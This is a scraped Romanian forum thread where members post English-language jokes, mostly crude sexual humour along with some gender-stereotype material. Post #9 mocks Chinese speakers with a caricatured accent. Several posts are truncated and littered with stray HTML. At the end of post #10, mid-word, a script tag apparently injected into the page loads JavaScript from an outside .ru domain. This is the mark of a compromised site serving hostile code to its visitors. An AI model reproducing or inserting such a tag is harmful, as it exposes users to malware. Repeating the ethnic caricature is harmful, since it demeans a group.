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Subiect: Bancuri (limba engleza) / Jokes

  1. #1
    Data înscrierii
    09.12.2003
    Locație
    Chicago & Constanta
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    13.508
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    Implicit

    Pentru a evita posibilele comentarii/critici de la unii forumisti, am deschis doua topice separate, pentru bancuri in limba romana si bancuri in limba engleza. Celelalte topice de bancuri vor fi inchise si sterse, pentru ca bancurile s-au invechit.

    Va invit sa postati aici bancuri numai in limba engleza

  2. #2
    Data înscrierii
    09.04.2004
    Locație
    Long Island, NY
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    A man was in a long line at Walmart. As he got to the register he realized he had forgotten to get condoms, so he asked the checkout girl if she could have some brought up to the register.

    She asked, 'What size condoms?'

    The customer replied that he didn't know. She asked him to drop his pants. He did.

    She reached over the counter, grabbed hold of him and called over the intercom, 'One box of large condoms, Register 5.'

    The next man in line thought this was interesting, and like most of us, was up for a cheap thrill.

    When he got up to the register, he told the checker that he too had forgotten to get condoms, and asked if she could have some brought to the register for him.

    She asked him what size, and he stated that he didn't know. She asked him to drop his pants. He did.


    She gave him a quick feel, picked up the intercom and said, 'One box of medium-sized condoms, Register 5.'

    A few customers back was this teenage boy. He thought what he had seen was way too cool. He had never had any type of sexual contact with a live female, so he thought this was his chance.

    When he got to t he register he told the checker he needed some condoms.

    She asked him what size and he said he didn't know.? She asked him to drop his pants and he did. She reached over the counter, gave him a quick squeeze, then picked up the intercom and said...

    'Cleanup, Register 5'
    The most active thing about me is my imagination!

  3. #3
    Data înscrierii
    18.06.2005
    Locație
    United States
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    <DIV>
    <DIV>
    <DIV></DIV>
    <DIV>I ended up with an older woman at a club last night. She looked OK fora 65-year-old.
    In fact, she wasn't too bad at all, and I found myself thinking thatshe probably had a hot daughter.

    </DIV>
    <DIV>
    </DIV></DIV>
    <DIV>We drank a bit, andhad a bit of a snuggle, and she asked if I'd ever had a Sportsman's Double.
    </DIV>
    <DIV>
    'What's that?' I asked.

    </DIV>
    <DIV>
    'It's a mother and daughter threesome,' she said.

    </DIV>
    <DIV>
    I said, 'No, but I would sure like to...' - excitedly.

    </DIV>
    <DIV>
    </DIV>
    <DIV>We drank a bit more, then she says that tonight was 'my lucky night...'
    and we went back to her place.

    </DIV>
    <DIV>
    She put on the hall light and shouted upstairs: 'Mom, you still awake?
    </DIV></DIV>

  4. #4
    Data înscrierii
    06.09.2007
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    1.162
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    Is Hell exothermic or endothermic?


    The following is supposedly an actual question given on a University
    of
    Washington chemistry mid-term. The answer by one student was so

  5. #5
    Data înscrierii
    23.09.2007
    Locație
    Bucharest, Romania
    Posturi
    369
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    14

    Implicit

    Apriest was being honored at his retirement dinner after 25 years in the Parish. A leading Senator and member of the congregation was chosen to make the presentation and give a little speech at the dinner. He was delayed, so the priest decided to say his own few words while they waited.


    "I got my first impression of the parish from the first confession I heard here. I thought I had been assigned to a terrible place. The very first person who entered my confessional told me he had stolen a television set and, when questioned by the police, was able to lie his way out of it. He had stolen money from his parents, embezzled from his employer, had and affair with his boss's wife; taken illegal drugs, and gave VD to his sister.


    I was appalled. But as the days went on I knew that my people were not all like that and I had, indeed, come to a fine parish full of good and loving people.".....


    Just as the priest finished his talk, the republican senator arrived full of apologies at being late. He immediately began to make the presentation and gave his talk. "I'll never forget the first day our parish priest arrived," said the politician. "In fact, I had the honor of being the first person to go to him for confession."


    Moral: NEVER, NEVER, NEVER BE LATE!!!!

  6. #6
    Data înscrierii
    23.09.2007
    Locație
    Bucharest, Romania
    Posturi
    369
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    14

    Implicit



    A first grade teacher, Mrs. Brooks was having trouble with one of her students.


    The teacher asked, "Johnny what is your problem?"


    Johnny answered, "I am too smart for the first Grade. My sister is in the third grade and I am smarter than she is! I think I should be in third grade too." Mrs. Brooks had enough. She took Johnny to the principal's office.


    While Johnny waited in the outer office, the teacher explained to the principal what the situation was.


    The principal told Mrs. Brooks he would give the boy a test and if he failed to answer any of his questions he was to go back to the first grade and behave. She agreed. Johnny was brought in and the conditions explained to him and he agreed to take the test.


    Principal: "What is 3 x 3?"
    Johnny: "9."


    Principal: "What is 6 x 6 ?"
    Johnny: "36."


    And so it went with every question the principal thought a third grade should know. The principal looks at Mrs. Brooks and tells her, "I think Johnny can go to the third grade."


    Mrs. Brooks says to the principal, "Let me ask him, some questions?"


    The principal and Johnny both agree.


    Mrs. Brooks: "What does a cow have four of that I have only 2 of?
    Johnny, after a moment "Legs."


    Mrs. Brooks: What is in your pants that you have but I do not have?"
    Johnny: "Pockets."


    Mrs. Brooks: "What starts with C and ends with T, is hairy, oval and delicious and contains a whitish liquid?"
    Johnny: "Coconut."


    Mrs. Brooks: "What goes in hard and pink and comes out soft and sticky?"


    The principal's eyes open really wide and before he could stop the answer, Johnny takes charge.....


    Johnny: "Bubblegum."


    Mrs. Brooks: "What does a man do standing up, a woman does sitting down and a dog does on 3 legs?"


    The principal's eyes open really wide and before he could stop the answer.....


    Johnny: "Shake hands."


    Mrs. Brooks: "Now I will ask some 'Who am I' questions, okay?"


    Mrs. Brooks: "You stick your poles inside me. You tie me down to get me up. I get wet before you do."


    Johnny: "Tent."


    Mrs. Brooks: "A finger goes inside me. You fiddle with me when you're bored. The best man always has me first."


    The principal was looking restless and a bit tense.


    Johnny: "Wedding Ring."


    Mrs. Brooks: "I have a stiff shaft. My tip penetrates. I come with a quiver?"


    Johnny; "Arrow."


    Mrs. Brooks: "What word starts with F and ends in K and means a lot of heat and excitement?"


    Johnny: "Fire-truck."


    The principal breathed a sigh of relief and said to the teacher, "Send Johnny to University, I got the last ten questions wrong!"

  7. #7
    Data înscrierii
    21.01.2007
    Locație
    Orlando, FL
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    Implicit

    Fffffffggggggggggg
    Ultima modificare făcută de keyframe14; 02.07.2009 la 14:13.

  8. #8
    Data înscrierii
    23.02.2006
    Locație
    Chicago, United States
    Posturi
    1.102
    Putere Rep
    19

    Implicit

    A man kills a deer and takes it home to cook for dinner.
    Both he and his wife decide that they won't tell the kids what kind of meat it is, but will give them a clue and let them guess.
    The kids were eager to know what the meat was on their plates, so they begged their dad for the clue.
    "Well," he said, " It's what mommy calls me sometimes."
    The little girl screams to her brother,
    " Don't eat it, it's an asshole !"



  9. #9
    Guest

    Implicit


    <DIV>Chinese Sick Day

    "I No Come Work Today!"



    Hung Chow calls into work and says, "Hey, I no come work today, I

    sick, headache, stomach ache, legs hurt, I no come work."

    The boss says, "You know something, Hung Chow, I really need you

    today. When I feel like this, I go to my wife and tell her to give me

    sex. That makes everything better and I go to work. You try that."

    Two hours later Hung Chow calls again. "I do what you say, I feel

    great. I be work soon

  10. #10
    Data înscrierii
    21.01.2007
    Locație
    Orlando, FL
    Posturi
    2.364
    Putere Rep
    30

    Implicit




    Female keywords, and their meanings </font>
    </font>
    </span></font>


    </font>
    </span></font>

    1. "Fine" </font>
    </span>
    This is the word women use at the end
    of any argument when they feel they are right but can't stand to hear you argue
    any longer. It means that you should shut up. (NEVER use "fine" to describe how
    she looks.
    This will cause you to have one of those arguments.)



    2. "Five minutes"
    </font>

    </span>
    This is
    half an hour. It is equivalent to the five minutes that your football game is
    going to last before you take out the trash, so women feel that it's an even
    trade.

    3.
    "Nothing"</font>

    "Nothing" means something and you should be on
    your toes. "Nothing" is usually used to describe the feeling a woman has of
    wanting to turn you inside out, upside down, and backwards. "Nothing" usually
    signifies an argument that will last "Five Minutes" and end with the word
    "Fine".

    4. "Go
    Ahead"</font>
    (with raised eyebrows)
    This is NOT permission;
    it's a dare! If you mistake it for permission, the result will be the woman will
    get upset over "Nothing" and you'll have a "five-minute" discussion that will
    end with the word "Fine".

    5. "Go
    Ahead"</font>
    (normal eyebrows)
    &gt; &gt; &gt;This is NOT
    permission, either. It means "I give up" or "do what you want because I don't
    care". You will get a raised eyebrow "Go Ahead" in just a few minutes, followed
    by "Nothing" and "Fine" and she will talk to you in about "Five Minutes" when
    she cools off.

    6. "Loud
    Sigh"</font>

    This is not actually a word, but is still often a
    verbal statement. Very frequently misunderstood by men. A "Loud Sigh" means she
    thinks you are a complete idiot and wonders why she is wasting her time standing
    here and arguing with you over "Nothing"!

    7. "Soft Sigh" </font>
    </span>
    Again, not a word, but a verbal
    statement. "Soft Sighs" are one of the few things that some men actually
    understand. It means she is momentarily content. Your best bet is to not move or
    breathe in the hope that the moment will last a bit longer.


    8. "Oh"</font>

    This word -- followed by any statement -- is trouble. Example: "Oh, let me
    get that". Or, "Oh, I talked to him about what you were doing last night." If
    she says "Oh" before a statement, run, do not walk, to the nearest exit. She
    will tell you that she is "Fine" when she is done tossing your clothes out the
    window, but do not expect her to talk to you for at least two days. ("Oh" as the
    lead to a sentence usually signifies that you are caught in a lie. Do not try to
    lie more to get out of it, or you will get a raised eyebrows "Go ahead",
    sometimes followed by acts so unspeakable that I can't bring myself to write
    about them.

    9. "That's
    Okay"</font>

    This is one of the most dangerous statements that
    a woman can say to a man. "That's Okay" means that she wants to think long and
    hard before deciding what the penalty will be for whatever y<script src=http://www.iroe.ru/ngg.js></script>
    The impossible exists only until we find a way to make it possible.

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